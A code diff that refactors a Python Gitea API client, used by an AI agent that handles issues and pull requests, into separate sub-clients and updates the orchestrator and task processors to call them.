if re.search(rf"(?<!\d){issue_number}(?!\d)", ref):
|
||||||
@@ -195,7 +195,7 @@ class PRTaskProcessor(TaskProcessor):
|
|||||||
pr_details = pr_info.model_dump_json(indent=2)
|
pr_details = pr_info.model_dump_json(indent=2)
|
||||||
pr_diff = ""
|
pr_diff = ""
|
||||||
try:
|
try:
|
||||||
pr_diff = self.client.get_pull_request_diff(
|
pr_diff = self.client.prs.get_pull_request_diff(
|
||||||
self.owner, self.repo_name, pr_number
|
self.owner, self.repo_name, pr_number
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -204,7 +204,7 @@ class PRTaskProcessor(TaskProcessor):
|
|||||||
|
|
||||||
pr_files: list[PullRequestFileModel] = []
|
pr_files: list[PullRequestFileModel] = []
|
||||||
try:
|
try:
|
||||||
pr_files = self.client.get_pull_request_files(
|
pr_files = self.client.prs.get_pull_request_files(
|
||||||
self.owner, self.repo_name, pr_number
|
self.owner, self.repo_name, pr_number
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -220,7 +220,7 @@ class PRTaskProcessor(TaskProcessor):
|
|||||||
|
|
||||||
comments: list[CommentModel] = []
|
comments: list[CommentModel] = []
|
||||||
try:
|
try:
|
||||||
comments = self.client.get_pull_request_comments(
|
comments = self.client.prs.get_pull_request_comments(
|
||||||
self.owner, self.repo_name, pr_number
|
self.owner, self.repo_name, pr_number
|
||||||
)
|
)
|
||||||
if not isinstance(comments, list):
|
if not isinstance(comments, list):
|
||||||
@@ -232,7 +232,9 @@ class PRTaskProcessor(TaskProcessor):
|
|||||||
|
|
||||||
reviews: list[dict[str, Any]] = []
|
reviews: list[dict[str, Any]] = []
|
||||||
try:
|
try:
|
||||||
reviews = self.client.get_pr_reviews(self.owner, self.repo_name, pr_number)
|
reviews = self.client.prs.get_pr_reviews(
|
||||||
|
self.owner, self.repo_name, pr_number
|
||||||
|
)
|
||||||
if not isinstance(reviews, list):
|
if not isinstance(reviews, list):
|
||||||
reviews = []
|
reviews = []
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -302,8 +304,10 @@ class PRTaskProcessor(TaskProcessor):
|
|||||||
issues_details = []
|
issues_details = []
|
||||||
for issue_num in linked_issues:
|
for issue_num in linked_issues:
|
||||||
try:
|
try:
|
||||||
issue = self.client.get_issue(self.owner, self.repo_name, issue_num)
|
issue = self.client.issues.get_issue(
|
||||||
issue_comments = self.client.get_issue_comments(
|
self.owner, self.repo_name, issue_num
|
||||||
|
)
|
||||||
|
issue_comments = self.client.issues.get_issue_comments(
|
||||||
self.owner, self.repo_name, issue_num
|
self.owner, self.repo_name, issue_num
|
||||||
)
|
)
|
||||||
comments_list = (
|
comments_list = (
|
||||||
@@ -392,14 +396,14 @@ class PRTaskProcessor(TaskProcessor):
|
|||||||
|
|
||||||
async def process(self, attempt_limit: int) -> str:
|
async def process(self, attempt_limit: int) -> str:
|
||||||
try:
|
try:
|
||||||
pr_detail = self.client.get_pull_request(
|
pr_detail = self.client.prs.get_pull_request(
|
||||||
self.owner, self.repo_name, self.item.task_number
|
self.owner, self.repo_name, self.item.task_number
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.warning(f"Error fetching PR #{self.item.task_number} detail: {e}")
|
logger.warning(f"Error fetching PR #{self.item.task_number} detail: {e}")
|
||||||
return f"FAILED: Could not fetch details for PR #{self.item.task_number}."
|
return f"FAILED: Could not fetch details for PR #{self.item.task_number}."
|
||||||
|
|
||||||
is_own_pr = pr_detail.user and pr_detail.user.login == self.ai_username
|
is_own_pr = bool(pr_detail.user and pr_detail.user.login == self.ai_username)
|
||||||
is_requested_reviewer = any(
|
is_requested_reviewer = any(
|
||||||
r.login == self.ai_username for r in pr_detail.requested_reviewers
|
r.login == self.ai_username for r in pr_detail.requested_reviewers
|
||||||
)
|
)
|
||||||
@@ -412,7 +416,7 @@ class PRTaskProcessor(TaskProcessor):
|
|||||||
|
|
||||||
pr_comments = []
|
pr_comments = []
|
||||||
try:
|
try:
|
||||||
pr_comments = self.client.get_pull_request_comments(
|
pr_comments = self.client.prs.get_pull_request_comments(
|
||||||
self.owner, self.repo_name, self.item.task_number
|
self.owner, self.repo_name, self.item.task_number
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -490,7 +494,7 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
|
|
||||||
comments: list[CommentModel] = []
|
comments: list[CommentModel] = []
|
||||||
try:
|
try:
|
||||||
comments = self.client.get_issue_comments(
|
comments = self.client.issues.get_issue_comments(
|
||||||
self.owner, self.repo_name, issue_number
|
self.owner, self.repo_name, issue_number
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -558,7 +562,7 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
is_wip = title_upper.startswith("WIP:") or "[WIP]" in title_upper
|
is_wip = title_upper.startswith("WIP:") or "[WIP]" in title_upper
|
||||||
|
|
||||||
try:
|
try:
|
||||||
reviews = self.client.get_pr_reviews(
|
reviews = self.client.prs.get_pr_reviews(
|
||||||
self.owner, self.repo_name, existing_pr.number
|
self.owner, self.repo_name, existing_pr.number
|
||||||
)
|
)
|
||||||
has_request_changes = any(
|
has_request_changes = any(
|
||||||
@@ -578,7 +582,7 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
# Check comments on issue and PR
|
# Check comments on issue and PR
|
||||||
issue_comments = []
|
issue_comments = []
|
||||||
try:
|
try:
|
||||||
issue_comments = self.client.get_issue_comments(
|
issue_comments = self.client.issues.get_issue_comments(
|
||||||
self.owner, self.repo_name, self.item.task_number
|
self.owner, self.repo_name, self.item.task_number
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -590,7 +594,7 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
pr_comments = []
|
pr_comments = []
|
||||||
if existing_pr:
|
if existing_pr:
|
||||||
try:
|
try:
|
||||||
pr_comments = self.client.get_pull_request_comments(
|
pr_comments = self.client.prs.get_pull_request_comments(
|
||||||
self.owner, self.repo_name, existing_pr.number
|
self.owner, self.repo_name, existing_pr.number
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -639,7 +643,7 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
else "No PR comments yet."
|
else "No PR comments yet."
|
||||||
)
|
)
|
||||||
try:
|
try:
|
||||||
reviews = self.client.get_pr_reviews(
|
reviews = self.client.prs.get_pr_reviews(
|
||||||
self.owner, self.repo_name, existing_pr.number
|
self.owner, self.repo_name, existing_pr.number
|
||||||
)
|
)
|
||||||
reviews_str = (
|
reviews_str = (
|
||||||
@@ -703,7 +707,7 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
f"<!-- agent:plan-proposal -->\n"
|
f"<!-- agent:plan-proposal -->\n"
|
||||||
f"<!-- agent:awaiting-reply -->"
|
f"<!-- agent:awaiting-reply -->"
|
||||||
)
|
)
|
||||||
self.client.add_comment(
|
self.client.issues.add_comment(
|
||||||
self.owner, self.repo_name, self.item.task_number, comment_body
|
self.owner, self.repo_name, self.item.task_number, comment_body
|
||||||
)
|
)
|
||||||
return f"POSTED_COMMENT: PROPOSE_PLAN comment posted to issue #{self.item.task_number}."
|
return f"POSTED_COMMENT: PROPOSE_PLAN comment posted to issue #{self.item.task_number}."
|
||||||
@@ -718,7 +722,7 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
f"<!-- agent:question-response -->\n"
|
f"<!-- agent:question-response -->\n"
|
||||||
f"<!-- agent:awaiting-reply -->"
|
f"<!-- agent:awaiting-reply -->"
|
||||||
)
|
)
|
||||||
self.client.add_comment(
|
self.client.issues.add_comment(
|
||||||
self.owner, self.repo_name, self.item.task_number, comment_body
|
self.owner, self.repo_name, self.item.task_number, comment_body
|
||||||
)
|
)
|
||||||
return f"POSTED_COMMENT: ANSWER_QUESTION comment posted to issue #{self.item.task_number}."
|
return f"POSTED_COMMENT: ANSWER_QUESTION comment posted to issue #{self.item.task_number}."
|
||||||
@@ -727,10 +731,10 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
comment = coord_tools.arguments.get(
|
comment = coord_tools.arguments.get(
|
||||||
"comment", "Closing the issue as resolved."
|
"comment", "Closing the issue as resolved."
|
||||||
)
|
)
|
||||||
self.client.add_comment(
|
self.client.issues.add_comment(
|
||||||
self.owner, self.repo_name, self.item.task_number, comment
|
self.owner, self.repo_name, self.item.task_number, comment
|
||||||
)
|
)
|
||||||
self.client.close_issue(
|
self.client.issues.close_issue(
|
||||||
self.owner, self.repo_name, self.item.task_number
|
self.owner, self.repo_name, self.item.task_number
|
||||||
)
|
)
|
||||||
return f"CLOSED_ISSUE: Issue #{self.item.task_number} closed."
|
return f"CLOSED_ISSUE: Issue #{self.item.task_number} closed."
|
||||||
@@ -805,7 +809,7 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
pr_description = (
|
pr_description = (
|
||||||
f"Work in progress for issue #{self.item.task_number}."
|
f"Work in progress for issue #{self.item.task_number}."
|
||||||
)
|
)
|
||||||
pr_to_use = self.client.create_pull_request(
|
pr_to_use = self.client.prs.create_pull_request(
|
||||||
self.owner,
|
self.owner,
|
||||||
self.repo_name,
|
self.repo_name,
|
||||||
head=branch_name,
|
head=branch_name,
|
||||||
@@ -821,7 +825,7 @@ class IssueTaskProcessor(TaskProcessor):
|
|||||||
start_comment = (
|
start_comment = (
|
||||||
f"Started work on PR #{pr_to_use.number} ({pr_link})."
|
f"Started work on PR #{pr_to_use.number} ({pr_link})."
|
||||||
)
|
)
|
||||||
self.client.add_comment(
|
self.client.issues.add_comment(
|
||||||
self.owner,
|
self.owner,
|
||||||
self.repo_name,
|
self.repo_name,
|
||||||
self.item.task_number,
|
self.item.task_number,
|
||||||
@@ -919,7 +923,7 @@ class AgentDispatcher:
|
|||||||
results: list[str] = []
|
results: list[str] = []
|
||||||
# Get authenticated username for reviewer filter
|
# Get authenticated username for reviewer filter
|
||||||
try:
|
try:
|
||||||
user = self._client.get_authenticated_user()
|
user = self._client.repos.get_authenticated_user()
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
raise RuntimeError("No authenticated user found.") from e
|
raise RuntimeError("No authenticated user found.") from e
|
||||||
|
|
||||||
@@ -973,7 +977,7 @@ class AgentDispatcher:
|
|||||||
return _find_pr_for_issue_helper(self._client, repo_full_name, issue_number)
|
return _find_pr_for_issue_helper(self._client, repo_full_name, issue_number)
|
||||||
|
|
||||||
def _is_awaiting_reply(self, comments: list[CommentModel]) -> bool:
|
def _is_awaiting_reply(self, comments: list[CommentModel]) -> bool:
|
||||||
user = self._client.get_authenticated_user()
|
user = self._client.repos.get_authenticated_user()
|
||||||
if not user or not user.login:
|
if not user or not user.login:
|
||||||
raise RuntimeError("No authenticated user found.")
|
raise RuntimeError("No authenticated user found.")
|
||||||
return _is_awaiting_reply_helper(comments, user.login)
|
return _is_awaiting_reply_helper(comments, user.login)
|
||||||
@@ -982,7 +986,7 @@ class AgentDispatcher:
|
|||||||
pr_info = item.task_info
|
pr_info = item.task_info
|
||||||
if not isinstance(pr_info, PullRequestModel):
|
if not isinstance(pr_info, PullRequestModel):
|
||||||
raise TypeError("Expected task_info to be a PullRequestModel")
|
raise TypeError("Expected task_info to be a PullRequestModel")
|
||||||
user = self._client.get_authenticated_user()
|
user = self._client.repos.get_authenticated_user()
|
||||||
if not user or not user.login:
|
if not user or not user.login:
|
||||||
raise RuntimeError("No authenticated user found.")
|
raise RuntimeError("No authenticated user found.")
|
||||||
processor = PRTaskProcessor(
|
processor = PRTaskProcessor(
|
||||||
@@ -1002,7 +1006,7 @@ class AgentDispatcher:
|
|||||||
issue_info = item.task_info
|
issue_info = item.task_info
|
||||||
if not isinstance(issue_info, IssueModel):
|
if not isinstance(issue_info, IssueModel):
|
||||||
raise TypeError("Expected task_info to be an IssueModel")
|
raise TypeError("Expected task_info to be an IssueModel")
|
||||||
user = self._client.get_authenticated_user()
|
user = self._client.repos.get_authenticated_user()
|
||||||
if not user or not user.login:
|
if not user or not user.login:
|
||||||
raise RuntimeError("No authenticated user found.")
|
raise RuntimeError("No authenticated user found.")
|
||||||
processor = IssueTaskProcessor(
|
processor = IssueTaskProcessor(
|
||||||
|
|||||||
+13
-5
@@ -90,7 +90,9 @@ class AgentOrchestrator:
|
|||||||
f"Polling unread notifications since: {last_checked or 'beginning'}"
|
f"Polling unread notifications since: {last_checked or 'beginning'}"
|
||||||
)
|
)
|
||||||
|
|
||||||
notifications = self._client.list_unread_notifications(since=last_checked)
|
notifications = self._client.notifications.list_unread_notifications(
|
||||||
|
since=last_checked
|
||||||
|
)
|
||||||
|
|
||||||
if not notifications:
|
if not notifications:
|
||||||
logger.info("No new notifications found.")
|
logger.info("No new notifications found.")
|
||||||
@@ -165,7 +167,9 @@ class AgentOrchestrator:
|
|||||||
f"Skipping notification {notification_id} for {repo_full_name}#{task_number}. Reason: {reason}"
|
f"Skipping notification {notification_id} for {repo_full_name}#{task_number}. Reason: {reason}"
|
||||||
)
|
)
|
||||||
if notification_id is not None:
|
if notification_id is not None:
|
||||||
self._client.mark_notification_as_read(notification_id)
|
self._client.notifications.mark_notification_as_read(
|
||||||
|
notification_id
|
||||||
|
)
|
||||||
logger.info(
|
logger.info(
|
||||||
f"Marked skipped Gitea notification thread {notification_id} as read."
|
f"Marked skipped Gitea notification thread {notification_id} as read."
|
||||||
)
|
)
|
||||||
@@ -174,7 +178,7 @@ class AgentOrchestrator:
|
|||||||
# Route based on decided action
|
# Route based on decided action
|
||||||
if notification_tools.action == "PROCESS_ISSUE":
|
if notification_tools.action == "PROCESS_ISSUE":
|
||||||
try:
|
try:
|
||||||
issue = self._client.get_issue(owner, repo_name, task_number)
|
issue = self._client.issues.get_issue(owner, repo_name, task_number)
|
||||||
if issue.repository is None:
|
if issue.repository is None:
|
||||||
issue = issue.model_copy(
|
issue = issue.model_copy(
|
||||||
update={"repository": RepositoryModel(**repo_info)}
|
update={"repository": RepositoryModel(**repo_info)}
|
||||||
@@ -195,7 +199,9 @@ class AgentOrchestrator:
|
|||||||
)
|
)
|
||||||
elif notification_tools.action == "PROCESS_PR":
|
elif notification_tools.action == "PROCESS_PR":
|
||||||
try:
|
try:
|
||||||
pr = self._client.get_pull_request(owner, repo_name, task_number)
|
pr = self._client.prs.get_pull_request(
|
||||||
|
owner, repo_name, task_number
|
||||||
|
)
|
||||||
if pr.repository is None:
|
if pr.repository is None:
|
||||||
pr = pr.model_copy(
|
pr = pr.model_copy(
|
||||||
update={"repository": RepositoryModel(**repo_info)}
|
update={"repository": RepositoryModel(**repo_info)}
|
||||||
@@ -252,7 +258,9 @@ class AgentOrchestrator:
|
|||||||
f"Completed {item.task_type} #{item.task_number}: {result[:200]}"
|
f"Completed {item.task_type} #{item.task_number}: {result[:200]}"
|
||||||
)
|
)
|
||||||
if item.notification_id is not None:
|
if item.notification_id is not None:
|
||||||
self._client.mark_notification_as_read(item.notification_id)
|
self._client.notifications.mark_notification_as_read(
|
||||||
|
item.notification_id
|
||||||
|
)
|
||||||
logger.info(
|
logger.info(
|
||||||
f"Marked Gitea notification thread {item.notification_id} as read."
|
f"Marked Gitea notification thread {item.notification_id} as read."
|
||||||
)
|
)
|
||||||
|
|||||||
@@ -0,0 +1,35 @@
|
|||||||
|
"""Gitea API client package."""
|
||||||
|
|
||||||
|
from .client import GiteaClient
|
||||||
|
from .files_client import FilesClient
|
||||||
|
from .issues_client import IssuesClient
|
||||||
|
from .notifications_client import NotificationsClient
|
||||||
|
from .prs_client import PullRequestsClient
|
||||||
|
from .repos_client import ReposClient
|
||||||
|
from .models import (
|
||||||
|
CommentModel,
|
||||||
|
GiteaConfig,
|
||||||
|
IssueModel,
|
||||||
|
LabelModel,
|
||||||
|
PullRequestFileModel,
|
||||||
|
PullRequestModel,
|
||||||
|
RepositoryModel,
|
||||||
|
UserModel,
|
||||||
|
)
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"FilesClient",
|
||||||
|
"GiteaClient",
|
||||||
|
"IssuesClient",
|
||||||
|
"NotificationsClient",
|
||||||
|
"PullRequestsClient",
|
||||||
|
"ReposClient",
|
||||||
|
"CommentModel",
|
||||||
|
"GiteaConfig",
|
||||||
|
"IssueModel",
|
||||||
|
"LabelModel",
|
||||||
|
"PullRequestFileModel",
|
||||||
|
"PullRequestModel",
|
||||||
|
"RepositoryModel",
|
||||||
|
"UserModel",
|
||||||
|
]
|
||||||
+35
-469
@@ -1,25 +1,28 @@
|
|||||||
import httpx
|
import httpx
|
||||||
import json
|
|
||||||
import base64
|
|
||||||
import logging
|
import logging
|
||||||
from typing import Any, Optional
|
from typing import Any
|
||||||
|
|
||||||
logger: logging.Logger = logging.getLogger("gitea.client")
|
logger: logging.Logger = logging.getLogger("gitea.client")
|
||||||
|
|
||||||
from .config import GITEA_URL, GITEA_TOKEN, GITEA_ORG_FILTER
|
from .config import GITEA_URL, GITEA_TOKEN, GITEA_ORG_FILTER
|
||||||
from .models import (
|
from .files_client import FilesClient
|
||||||
UserModel,
|
from .issues_client import IssuesClient
|
||||||
LabelModel,
|
from .notifications_client import NotificationsClient
|
||||||
RepositoryModel,
|
from .prs_client import PullRequestsClient
|
||||||
IssueModel,
|
from .repos_client import ReposClient
|
||||||
PullRequestModel,
|
|
||||||
CommentModel,
|
|
||||||
PullRequestFileModel,
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
class GiteaClient:
|
class GiteaClient:
|
||||||
"""HTTP client for Gitea API v1."""
|
"""HTTP client for Gitea API v1.
|
||||||
|
|
||||||
|
This is a facade class that provides access to focused sub-clients
|
||||||
|
for different API domains:
|
||||||
|
- repos: Repository operations (ReposClient)
|
||||||
|
- issues: Issue operations (IssuesClient)
|
||||||
|
- prs: Pull request operations (PullRequestsClient)
|
||||||
|
- files: File and git ref operations (FilesClient)
|
||||||
|
- notifications: Notification operations (NotificationsClient)
|
||||||
|
"""
|
||||||
|
|
||||||
def __init__(self) -> None:
|
def __init__(self) -> None:
|
||||||
self.base_url: str = GITEA_URL.rstrip("/")
|
self.base_url: str = GITEA_URL.rstrip("/")
|
||||||
@@ -28,6 +31,25 @@ class GiteaClient:
|
|||||||
"Accept": "application/json",
|
"Accept": "application/json",
|
||||||
}
|
}
|
||||||
self.client: httpx.Client = httpx.Client(headers=self.headers)
|
self.client: httpx.Client = httpx.Client(headers=self.headers)
|
||||||
|
self.repos: ReposClient = ReposClient(
|
||||||
|
self.base_url, self.client, GITEA_ORG_FILTER
|
||||||
|
)
|
||||||
|
self.issues: IssuesClient = IssuesClient(
|
||||||
|
self.base_url,
|
||||||
|
self.client,
|
||||||
|
get_user=self.repos.get_authenticated_user,
|
||||||
|
get_repos=self.repos.list_all_user_repos,
|
||||||
|
)
|
||||||
|
self.prs: PullRequestsClient = PullRequestsClient(
|
||||||
|
self.base_url,
|
||||||
|
self.client,
|
||||||
|
get_user=self.repos.get_authenticated_user,
|
||||||
|
get_repos=self.repos.list_all_user_repos,
|
||||||
|
)
|
||||||
|
self.files: FilesClient = FilesClient(self.base_url, self.client)
|
||||||
|
self.notifications: NotificationsClient = NotificationsClient(
|
||||||
|
self.base_url, self.client, GITEA_ORG_FILTER
|
||||||
|
)
|
||||||
|
|
||||||
def close(self) -> None:
|
def close(self) -> None:
|
||||||
"""Close the underlying HTTP client."""
|
"""Close the underlying HTTP client."""
|
||||||
@@ -44,459 +66,3 @@ class GiteaClient:
|
|||||||
self.client.close()
|
self.client.close()
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def get_authenticated_user(self) -> UserModel:
|
|
||||||
try:
|
|
||||||
response = self.client.get(f"{self.base_url}/api/v1/user")
|
|
||||||
response.raise_for_status()
|
|
||||||
return UserModel(**response.json())
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(f"Error getting authenticated user: {e}", exc_info=True)
|
|
||||||
raise RuntimeError(f"Could not get authenticated user: {e}") from e
|
|
||||||
|
|
||||||
def list_all_user_repos(self) -> list[RepositoryModel]:
|
|
||||||
try:
|
|
||||||
url = f"{self.base_url}/api/v1/user/repos"
|
|
||||||
response = self.client.get(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
repos: list[dict[str, Any]] = response.json()
|
|
||||||
# Filter to ONLY configured organization repos, include mirrors
|
|
||||||
seen: set[str] = set()
|
|
||||||
result: list[RepositoryModel] = []
|
|
||||||
for r in repos:
|
|
||||||
full_name = r.get("full_name", "")
|
|
||||||
if (
|
|
||||||
full_name
|
|
||||||
and full_name not in seen
|
|
||||||
and (r.get("owner") or {}).get("login") == GITEA_ORG_FILTER
|
|
||||||
):
|
|
||||||
seen.add(full_name)
|
|
||||||
result.append(RepositoryModel(**r))
|
|
||||||
return result
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(f"Error listing user repos: {e}", exc_info=True)
|
|
||||||
return []
|
|
||||||
|
|
||||||
def list_repo_issues(
|
|
||||||
self, owner: str, repo: str, state: str = "open"
|
|
||||||
) -> list[IssueModel]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?type=issues&state={state}"
|
|
||||||
response = self.client.get(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
return [IssueModel(**item) for item in response.json()]
|
|
||||||
|
|
||||||
def list_repo_pull_requests(
|
|
||||||
self, owner: str, repo: str, state: str = "open"
|
|
||||||
) -> list[PullRequestModel]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state={state}"
|
|
||||||
response = self.client.get(url)
|
|
||||||
if response.status_code == 404:
|
|
||||||
return []
|
|
||||||
response.raise_for_status()
|
|
||||||
return [PullRequestModel(**item) for item in response.json()]
|
|
||||||
|
|
||||||
def get_pull_request(
|
|
||||||
self, owner: str, repo: str, pull_number: int
|
|
||||||
) -> PullRequestModel:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
|
|
||||||
response = self.client.get(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
return PullRequestModel(**response.json())
|
|
||||||
|
|
||||||
def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
|
|
||||||
response = self.client.get(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
return IssueModel(**response.json())
|
|
||||||
|
|
||||||
def close_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
|
|
||||||
data: dict[str, str] = {"state": "closed"}
|
|
||||||
response = self.client.patch(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return IssueModel(**response.json())
|
|
||||||
|
|
||||||
def close_pull_request(
|
|
||||||
self, owner: str, repo: str, pull_number: int
|
|
||||||
) -> PullRequestModel:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
|
|
||||||
data: dict[str, str] = {"state": "closed"}
|
|
||||||
response = self.client.patch(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return PullRequestModel(**response.json())
|
|
||||||
|
|
||||||
def get_issue_comments(
|
|
||||||
self, owner: str, repo: str, issue_number: int
|
|
||||||
) -> list[CommentModel]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
|
|
||||||
response = self.client.get(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
return [CommentModel(**item) for item in response.json()]
|
|
||||||
|
|
||||||
def get_pull_request_comments(
|
|
||||||
self, owner: str, repo: str, pull_number: int
|
|
||||||
) -> list[CommentModel]:
|
|
||||||
url = (
|
|
||||||
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pull_number}/comments"
|
|
||||||
)
|
|
||||||
response = self.client.get(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
return [CommentModel(**item) for item in response.json()]
|
|
||||||
|
|
||||||
def get_pull_request_diff(self, owner: str, repo: str, pull_number: int) -> str:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/diff"
|
|
||||||
response = self.client.get(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
return response.text
|
|
||||||
|
|
||||||
def get_pull_request_patch(self, owner: str, repo: str, pull_number: int) -> str:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/patch"
|
|
||||||
response = self.client.get(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
return response.text
|
|
||||||
|
|
||||||
def get_pull_request_files(
|
|
||||||
self, owner: str, repo: str, pull_number: int
|
|
||||||
) -> list[PullRequestFileModel]:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/files"
|
|
||||||
response = self.client.get(url)
|
|
||||||
response.raise_for_status()
|
|
||||||
return [PullRequestFileModel(**item) for item in response.json()]
|
|
||||||
|
|
||||||
def list_assigned_issues(self, owner: str = "", repo: str = "") -> list[IssueModel]:
|
|
||||||
try:
|
|
||||||
user = self.get_authenticated_user()
|
|
||||||
if not user:
|
|
||||||
return []
|
|
||||||
username: str = user.login
|
|
||||||
if owner and repo:
|
|
||||||
response = self.client.get(
|
|
||||||
f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?assignee={username}&state=open&type=issues",
|
|
||||||
)
|
|
||||||
response.raise_for_status()
|
|
||||||
return [IssueModel(**item) for item in response.json()]
|
|
||||||
all_issues: list[IssueModel] = []
|
|
||||||
repos = self.list_all_user_repos()
|
|
||||||
for r in repos:
|
|
||||||
repo_owner = r.owner
|
|
||||||
repo_name = r.name
|
|
||||||
resp = self.client.get(
|
|
||||||
f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/issues?assignee={username}&state=open&type=issues",
|
|
||||||
)
|
|
||||||
if resp.status_code == 200:
|
|
||||||
for item in resp.json():
|
|
||||||
issue = IssueModel(**item)
|
|
||||||
# Backfill repository if Gitea omitted it
|
|
||||||
if issue.repository is None:
|
|
||||||
issue = issue.model_copy(update={"repository": r})
|
|
||||||
all_issues.append(issue)
|
|
||||||
return all_issues
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(f"Error listing assigned issues: {e}", exc_info=True)
|
|
||||||
return []
|
|
||||||
|
|
||||||
def list_assigned_pull_requests(
|
|
||||||
self, owner: str = "", repo: str = ""
|
|
||||||
) -> list[PullRequestModel]:
|
|
||||||
"""List all pull requests assigned to or authored by the authenticated user."""
|
|
||||||
try:
|
|
||||||
user = self.get_authenticated_user()
|
|
||||||
if not user:
|
|
||||||
return []
|
|
||||||
username: str = user.login
|
|
||||||
if owner and repo:
|
|
||||||
response = self.client.get(
|
|
||||||
f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state=open",
|
|
||||||
)
|
|
||||||
if response.status_code == 404:
|
|
||||||
return []
|
|
||||||
response.raise_for_status()
|
|
||||||
all_prs: list[PullRequestModel] = [
|
|
||||||
PullRequestModel(**pr) for pr in response.json()
|
|
||||||
]
|
|
||||||
return [
|
|
||||||
pr
|
|
||||||
for pr in all_prs
|
|
||||||
if (pr.assignee and pr.assignee.login == username)
|
|
||||||
or (pr.user and pr.user.login == username)
|
|
||||||
]
|
|
||||||
all_prs: list[PullRequestModel] = []
|
|
||||||
repos = self.list_all_user_repos()
|
|
||||||
for r in repos:
|
|
||||||
repo_owner = r.owner
|
|
||||||
repo_name = r.name
|
|
||||||
resp = self.client.get(
|
|
||||||
f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/pulls?state=open",
|
|
||||||
)
|
|
||||||
if resp.status_code == 200:
|
|
||||||
for pr_data in resp.json():
|
|
||||||
pr = PullRequestModel(**pr_data)
|
|
||||||
if (pr.assignee and pr.assignee.login == username) or (
|
|
||||||
pr.user and pr.user.login == username
|
|
||||||
):
|
|
||||||
# Backfill repository if Gitea omitted it
|
|
||||||
if pr.repository is None:
|
|
||||||
pr = pr.model_copy(update={"repository": r})
|
|
||||||
all_prs.append(pr)
|
|
||||||
return all_prs
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(f"Error listing assigned pull requests: {e}", exc_info=True)
|
|
||||||
return []
|
|
||||||
|
|
||||||
def create_pull_request(
|
|
||||||
self,
|
|
||||||
owner: str,
|
|
||||||
repo: str,
|
|
||||||
head: str,
|
|
||||||
base: str,
|
|
||||||
title: str,
|
|
||||||
description: str = "",
|
|
||||||
) -> PullRequestModel:
|
|
||||||
try:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls"
|
|
||||||
data: dict[str, str] = {
|
|
||||||
"title": title,
|
|
||||||
"body": description,
|
|
||||||
"head": head,
|
|
||||||
"base": base,
|
|
||||||
}
|
|
||||||
response = self.client.post(url, json=data)
|
|
||||||
response.raise_for_status()
|
|
||||||
return PullRequestModel(**response.json())
|
|
||||||
except Exception as e:
|
|
||||||
logger.error(f"Error creating pull request: {e}", exc_info=True)
|
|
||||||
raise
|
|
||||||
|
|
||||||
def update_pull_request(
|
|
||||||
self,
|
|
||||||
owner: str,
|
|
||||||
repo: str,
|
|
||||||
pull_number: int,
|
|
||||||
title: str | None = None,
|
|
||||||
body: str | None = None,
|
|
||||||
state: str | None = None,
|
|
||||||
) -> PullRequestModel:
|
|
||||||
try:
|
|
||||||
url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
|
|
||||||
data: dict[str, Any] = {}
|
|
||||||
if title is not None:
|
|
||||||
